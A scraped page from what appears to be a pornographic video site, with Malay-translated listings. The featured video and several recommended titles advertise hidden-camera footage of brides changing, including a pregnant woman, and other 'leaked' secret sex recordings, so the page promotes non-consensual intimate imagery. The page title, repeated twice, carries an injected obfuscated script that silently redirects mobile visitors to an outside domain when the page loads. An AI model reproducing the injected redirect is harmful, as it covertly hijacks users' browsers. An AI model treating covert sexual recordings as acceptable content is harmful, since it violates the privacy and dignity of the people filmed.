</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>2023.9 ​​​​Kebocoran Terkini: Kedai Gaun Pengantin Terkenal Secara Rahsia Memasang Kamera Pengawasan; Gaun Pengantin Pengantin Menjadi Keistimewaan untuk Pekerja; Tiga Pengantin Menukar Gaun Pengantin Pada Masa Yang Sama, Termasuk Seorang Wanita Hamil.</title></script></script>

Rawak

Video yang Disyorkan

2023.9 ​​​​Kebocoran Terkini: Kedai Gaun Pengantin Terkenal Secara Rahsia Memasang Kamera Pengawasan; Gaun Pengantin Pengantin Menjadi Keistimewaan untuk Pekerja; Tiga Pengantin Menukar Gaun Pengantin Pada Masa Yang Sama, Termasuk Seorang Wanita Hamil.","site_id":0,"video_url":"https://2605.v155p.com/20260611/M8YKKguK/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","duration":"01:16:14","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":439,"description":"Satu laporan yang bocor dari September 2023 mendedahkan bahawa sebuah kedai pengantin terkenal telah memasang kamera pengawasan secara rahsia untuk merakam pengantin perempuan menukar pakaian secara rahsia. Buat pertama kalinya, kamera tersebut merakam pengantin perempuan menukar pakaian secara serentak, termasuk seorang wanita hamil.","tag":["terkini","Kebocoran terkini","Kebocoran","terkenal","gaun pengantin","Kedai pakaian perkahwinan","memantau","pengantin perempuan","Pertama","pertama","sekali","Pembantu kedai","Kebajikan","Rakam secara rahsia","pada masa yang sama","Wanita hamil"],"site_url":"175715","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网爆黑料"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_keywords":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_description":"2023.9 ​​​​Kebocoran Terkini: Kedai Gaun Pengantin Terkenal Secara Rahsia Memasang Kamera Pengawasan; Gaun Pengantin Pengantin Menjadi Keistimewaan untuk Pekerja; Tiga Pengantin Menukar Gaun Pengantin Pada Masa Yang Sama, Termasuk Seorang Wanita Hamil.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjg3YzcwM2Q2ZTgzNDNmOWM4YmY0ZTVkMTQyMmFhNjAuanBn.cache","vod_id":18966218,"title":"\"Tembakan Perisik Ekstrem ㊙️ Kebocoran Sebenar\" - Penggambaran di lokasi di sebuah rumah sewa yang sempit di sebuah perkampungan bandar, menampilkan seorang wanita berambut pendek yang sangat cantik yang menawarkan perkhidmatan secara bergilir-gilir, menampung semua peringkat umur - dan seorang lelaki bertopeng yang pemalu.","lastmod":"2025-12-14","duration":"00:01:43","url":"/play/18966218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjA5NzY0OWI5ZGNiM2YzODRlNTg3MGQ1MzhmZDIyYmUuanBn.cache","vod_id":18955358,"title":"\"Terkini ✅ Butik Selebriti Internet ✅ Bocor\" Selebriti Weibo, model rata berkepala sembilan teratas, wanita matang EvE masih menunjukkan wajahnya, penyesuaian peribadi musim 2, lubang madu dewi kebajikan Ziwei, zakar palsu menolak sepenuhnya (2)","lastmod":"2025-12-14","duration":"00:05:00","url":"/play/18955358.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGU3ODQ2ODZkYTA3YmVkMGE0MjAzM2JlMDZlMDE3MjYuanBn.cache","vod_id":18926461,"title":"RCTD-279 Anak perempuan dua orang sahabat mengalami pengalaman puting lesbian dipulas.","lastmod":"2025-12-14","duration":"02:00:12","url":"/play/18926461.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzI2MDFjMDJjNGQ1YzMzMmM3MjgxM2RlOGFmNDQ0YWIuanBn.cache","vod_id":18939157,"title":"[Sarikata Cina] OKS-083 Basah, Berkilat, Ketat: Pakaian Renang Sekolah Suci Shinominami. Nikmati gadis comel ini dalam pakaian renang sekolahnya! Bermula dengan video dia menukar pakaian yang dirakam secara rahsia, nikmati gambar dekat payudara kecilnya, payudara besar, kawasan kemaluan yang dicukur, kawasan kemaluan berbulu dan bulu ketiak, serta mandian losyen buih, seks berkumpulan pakaian renang sekolah dan ejakulasi yang kuat, semuanya berlaku semasa dia berpakaian lengkap.","lastmod":"2025-12-14","duration":"01:33:31","url":"/play/18939157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTY2YmY1MDAxMzE5OWIzMmFlYmNiM2E5ZGU1NmMwNDcuanBn.cache","vod_id":18978539,"title":"[4K] SSIS-631 140 orgasme yang hebat! 5000 kekejangan! 4000cc ejakulasi air mani! Seorang wanita cantik yang menawan dan kaya, kebangkitan Cupid, kekejangan besar pertamanya amat istimewa...","lastmod":"2025-03-23","duration":"01:59:40","url":"/play/18978539.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzliNTRkYzg3NTM2ZWQ5MGJkMjg4MTU0NTU1M2E4MWEuanBn.cache","vod_id":18973886,"title":"200GANA-1727 sangat lembut; ini kali pertama saya merakam. 1078 (Asakura Moe)","lastmod":"2025-03-23","duration":"01:00:15","url":"/play/18973886.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDlmNGU2NjZmNTZmMWYzOTU2MGQzNThlNmEwOTRkMDIuanBn.cache","vod_id":19150858,"title":"Kompilasi ejakulasi, sangat panjang, tonton semuanya sekaligus!","lastmod":"2026-03-30","duration":"13:45","url":"/play/19150858.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTU2MTEzMDQzYjY4ZjgyMThjNzlhMzc3OWVlYjliZmUuanBn.cache","vod_id":18953777,"title":"[Penggambaran Persendirian Model Berkualiti Tinggi✅㊙️Bocor] Gadis kolej yang kelihatan biasa-biasa sahaja tetapi mempunyai susuk tubuh yang hebat difoto secara peribadi di hotel ~ Jurugambar menawarkan wang tambahan untuk peraturan yang tidak dinyatakan ~ Gadis itu mempunyai pengalaman seksual yang terhad dan sedikit tidak berpengalaman, memerlukan perkembangan selanjutnya 2","lastmod":"2025-12-14","duration":"00:06:07","url":"/play/18953777.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDU1MjlmYTliOTQ4ZDk5ZWRhYTNjNmE0Y2EyZjkxMjMuanBn.cache","vod_id":18966380,"title":"FC2PPV 3215810 ialah video rakaman rahsia yang mengejutkan yang merakam aktiviti seksual peribadi seorang wanita berkulit cerah dengan payudara berbentuk F-cup. Walaupun dia bersetuju untuk dirakam terlebih dahulu, dia kelihatan keliru.","lastmod":"2025-12-14","duration":"00:52:12","url":"/play/18966380.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNmU3NjVhMDI0MzYyMTVhZmVlNDIxMGMxMzc4NDQ5OTIuanBn.cache","vod_id":19158147,"title":"Mencari wanita cantik dan seksi di hotel, melamar pelacur, merakam mereka secara rahsia, dan menjalin hubungan.","lastmod":"2026-05-15","duration":"01:04:59","url":"/play/19158147.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2M5NmJkOGE0NzNmNmQyNzYxMDk3NjAxZGY0YWQ2NzAuanBn.cache","vod_id":18969160,"title":"345SIMM-806 Moeka (18) - Seorang wanita muda yang cantik, bijak, dan berbakat dengan kemahiran erotik yang menakjubkan♪ [Isu Pertama] Kaki terbuka luas","lastmod":"2025-12-14","duration":"01:10:59","url":"/play/18969160.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTIvNzg2MGU4NDM4ZGMyNTM4NDMzZjgyYWY3ZTQ5M2MzNmUuanBn.cache","vod_id":19057248,"title":"Ansuran kesembilan siri filem berkualiti tinggi yang sangat popular ini – tayangan perdana bersama supermodel terkemuka.","lastmod":"2025-10-11","duration":"27:07","url":"/play/19057248.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzVlYmVlYmE2ODc5YWVkYTU1NzZkNDM2NDA0MjEzNTEuanBn.cache","vod_id":18991734,"title":"200GANA-2101 Seks Lembut Serius, Tembakan Pertama. Bab 1349 Si Cantik Tahap Idola Menandatangani Kontrak!! Ditipu masuk ke hotel oleh plot rancangan aneka ragam! Walaupun dia keliru dengan kemunculan pelakon lelaki itu secara tiba-tiba, dia sangat berminat dengan zakarnya yang besar! Menggunakan zakarnya yang besar dan teknik yang belum pernah dialaminya sebelum ini, dia mengucapkan kata-kata lucah sambil mencapai orgasme berulang kali!!! 1","lastmod":"2025-03-23","duration":"01:20:23","url":"/play/18991734.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTQvZjUxN2I5MmY3YzNiOTNiZGRhZmU3MGFiMzViYzhlMWMuanBn.cache","vod_id":19046835,"title":"[Percuma] Video seks peribadi selebriti internet wanita montok bocor!","lastmod":"2025-08-13","duration":"10:54","url":"/play/19046835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzU2ZmJkYWZlYzNmOWFlMzNkZjIxNjA4ZjZmOWFjNmMuanBn.cache","vod_id":18992994,"title":"KMHR-077 Ejakulasi dalaman kali pertama sebelum menjadi guru! Kejar-mengejar + kejar-mengejar terbalik, mencapai klimaks antara satu sama lain dengan rakus! 12 ejakulasi dalaman berturut-turut, tidak terkeluar walaupun selepas ejakulasi! Matsuna Koga 1","lastmod":"2025-12-14","duration":"02:00:01","url":"/play/18992994.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTcvZDg1YzJlMDdlOTAwZjQ0YzM1OGE2MzZkYjkyNzczMzYuanBn.cache","vod_id":19043326,"title":"Faraj seorang pelajar kolej begitu ketat semasa kali pertama dia berada di hotel bersama teman lelakinya sehingga dia menjerit kesakitan hanya dengan sentuhan lembut.","lastmod":"2025-07-16","duration":"09:48","url":"/play/19043326.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM0MGJjZjQzYWFiMzBkODY5NGU4YzEwNGEzZmUzZGYuanBn.cache","vod_id":19022481,"title":"CLUB550 secara rahsia merakam dua wanita berjiran yang sudah berkahwin dan meniduri mereka sehingga mereka berpuas hati.","lastmod":"2025-03-24","duration":"03:35:48","url":"/play/19022481.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvODA5Y2I0MDk2NzkyMTlmMDlkODgyZDgwYTQ3NDczYWQuanBn.cache","vod_id":19050263,"title":"[Tanpa Penapisan] Kerani kedai pakaian aktif mencabar sesi penggambaran peribadi lucah - Erika Hirota 10musume-012723-01","lastmod":"2025-09-04","duration":"01:02:31","url":"/play/19050263.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzAzNTA5MmE3YTcwODJiMDFhMmFkZjZlOTBkZTM4NWYuanBn.cache","vod_id":19012351,"title":"200GANA2246 Seksi dan lembut, penggambaran pertama kali. 1462 Seorang pembantu pergigian dengan fetish otot! Hari ini saya bukan membantu doktor, saya membantu zakar! Saya akan menggunakan payudara besar saya untuk membersihkan zakar saya.","lastmod":"2025-03-24","duration":"01:04:18","url":"/play/19012351.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDgvODdiYjYzYjEzODMxNGNmY2VmODM1MWU5N2ZlY2E4MDguanBn.cache","vod_id":19028438,"title":"Filem premium terkini yang sangat hangat: Dua beradik perempuan setinggi 177cm yang berpakaian seragam terbang bersama di Shanghai.","lastmod":"2025-04-08","duration":"53:59","url":"/play/19028438.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFhNGY3MGVlMmMyZDI5YTdhODY4MDNiODA0YmYwN2MuanBn.cache","vod_id":18951328,"title":"\"Karya Agung ⭐ Heavyweight → Manfaat\" Eksklusif kepada Encik Bai ke-91 kerana menyertai kelab peminat, seks mendedahkan wajah yang sempurna, pelbagai kecantikan seks seragam yang berbeza dengan perempuan jalang kecil yang sangat terangsang, karya seni asli tanpa tanda air (23)","lastmod":"2025-12-14","duration":"00:01:39","url":"/play/18951328.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGYyN2MwYzg2NzYxY2Q2MDhlOTM4MTU4YjcxN2RmOWIuanBn.cache","vod_id":18998668,"title":"[122718-821] Ujian Kecabulan ~ Kamera Tersembunyi Persendirian Cinta Cemas ~ Hojo Maki","lastmod":"2025-12-14","duration":"01:16:40","url":"/play/18998668.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNmNjZDYzYzg1ZDQ5NTkwM2EwNGY0M2U4M2VlZDJiM2EuanBn.cache","vod_id":19049552,"title":"[Kebocoran Twitter] Payudara Cantik dan Guru Tulen Aishi","lastmod":"2025-09-04","duration":"47:25","url":"/play/19049552.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWYxZDRjODcwOTVhYTM5MThjMGNlMzFiZDAzZWEyZTAuanBn.cache","vod_id":18931483,"title":"ATID-179_Serigala Perisik Wanita II - Isyarat Senyap Kesedihan - Reira Aizaki Bahagian 1","lastmod":"2025-12-14","duration":"01:35:28","url":"/play/18931483.html"}]}, videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>2023.9 ​​​​Kebocoran Terkini: Kedai Gaun Pengantin Terkenal Secara Rahsia Memasang Kamera Pengawasan; Gaun Pengantin Pengantin Menjadi Keistimewaan untuk Pekerja; Tiga Pengantin Menukar Gaun Pengantin Pada Masa Yang Sama, Termasuk Seorang Wanita Hamil.</title></script></script>', language: 'ms', dataKey: '01', loadingPlayer: true, showShare: false, pageUrl: '', // RecommendedMovies 组件状态 isSingleColumn: false, pageSize: 8, currentPage: 1, // 计算属性(使用 getter) get layoutIconClass() { return this.isSingleColumn ? 'icon-view-list' : 'icon-grid'; }, get layoutClass() { return [ 'row', 'g-3', 'row-cols-1', this.isSingleColumn ? '' : 'row-cols-2', 'row-cols-lg-4' ].filter(Boolean).join(' '); }, // 方法 onAppMounted() { // 设置页面 URL this.pageUrl = window.location.href; // 保存观看历史 this.saveWatchHistory(); // 更新标签统计 if (this.videoData.tag && this.videoData.tag.length > 0) { this.updateTagStats(this.videoData.tag); } // 发送点击统计 this.hitVideoId(this.videoData.id); // 从 Cookie 读取布局偏好 const layoutCookie = this.getCookie('list_layout'); if (layoutCookie === 'single') { this.isSingleColumn = true; } // 监听 iframe 加载完成,隐藏骨架屏 // 使用 setTimeout 确保 DOM 已完全渲染 setTimeout(() => { const iframe = document.getElementById('v2-player'); const skeleton = document.getElementById('player-skeleton'); if (iframe && skeleton) { // 定义隐藏骨架屏的函数 const hideSkeleton = () => { skeleton.style.transition = 'opacity 0.3s ease'; skeleton.style.opacity = '0'; setTimeout(() => { skeleton.style.display = 'none'; }, 300); }; // 检查 iframe 是否已经加载完成 if (iframe.contentDocument || iframe.contentWindow) { try { // 如果 iframe 已加载,直接隐藏骨架屏 if (iframe.contentWindow.document.readyState === 'complete') { setTimeout(hideSkeleton, 500); return; } } catch (e) { console.log('[Video] 跨域 iframe,无法检查状态:', e.message); // 跨域情况下无法访问 contentWindow,继续监听 load 事件 } } // 监听 load 事件 iframe.addEventListener('load', () => { console.log('[Video] iframe load 事件触发'); setTimeout(hideSkeleton, 500); }); // 添加超时保护,确保骨架屏最终会被隐藏 setTimeout(() => { if (skeleton.style.display !== 'none') { console.log('[Video] 超时保护触发,强制隐藏骨架屏'); hideSkeleton(); } }, 5000); // 5秒后强制隐藏 } else { console.error('[Video] 未找到 iframe 或 skeleton 元素'); } }, 0); }, // 随机跳转 async jumpToRandomVideo() { try { const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, { headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }); const data = await response.json(); if (data?.status === 1 && data?.data?.id) { window.location.href = `/${this.language}/play/${data.data.id}.html`; } else { console.error('获取随机视频失败:', data?.message || '未知错误'); } } catch (err) { console.error('获取随机视频失败:', err); } }, // 复制分享链接 copyShareLink() { const input = this.$refs.shareInput; if (input) { input.select(); input.setSelectionRange(0, 99999); // For mobile devices // 尝试使用现代 API if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(this.pageUrl).then(() => { alert('Pautan disalin!'); }).catch(() => { // 降级到旧方法 document.execCommand('copy'); alert('Pautan disalin!'); }); } else { // 降级到旧方法 document.execCommand('copy'); alert('Pautan disalin!'); } } }, // 切换布局 toggleLayout() { this.isSingleColumn = !this.isSingleColumn; this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30); }, // 加载更多 loadMore() { this.currentPage++; }, // 保存观看历史 saveWatchHistory() { try { const storageKey = 'watchHistory'; let history = JSON.parse(localStorage.getItem(storageKey) || '[]'); // 解码 HTML 实体编码的标题 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const video = { id: this.videoData.id, title: decodeHtmlEntities(this.videoData.title), image: this.videoData.images || this.videoData.preview, duration: this.videoData.duration || '' }; // 过滤掉已存在的相同 ID 视频 history = history.filter(item => item.id !== video.id); // 添加新记录到最前面 history.unshift(video); // 限制最多保存 100 条 if (history.length > 100) { history = history.slice(0, 100); } localStorage.setItem(storageKey, JSON.stringify(history)); } catch (e) { console.error('Failed to save watch history:', e); } }, // 更新标签统计 updateTagStats(tags = []) { // HTML 实体解码函数 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const storageKey = this.dataKey + 'tagWatchStats'; const lastWatchedKey = this.dataKey + 'tagLastWatched'; const raw = localStorage.getItem(storageKey); const stats = raw ? JSON.parse(raw) : {}; // 解码标签并统计 const decodedTags = tags.map(tag => decodeHtmlEntities(tag)); decodedTags.forEach(tag => { stats[tag] = (stats[tag] || 0) + 1; }); localStorage.setItem(storageKey, JSON.stringify(stats)); localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags)); }, // 点击统计 hitVideoId(id) { fetch(`/api/qun/hit?type=play&id=${id}`, { method: 'GET', headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }).catch(err => { console.error('点击统计失败:', err); }); }, // Cookie 工具方法 getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); }, setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = `${name}=${value}; expires=${expires}; path=/`; } }; }
友情链接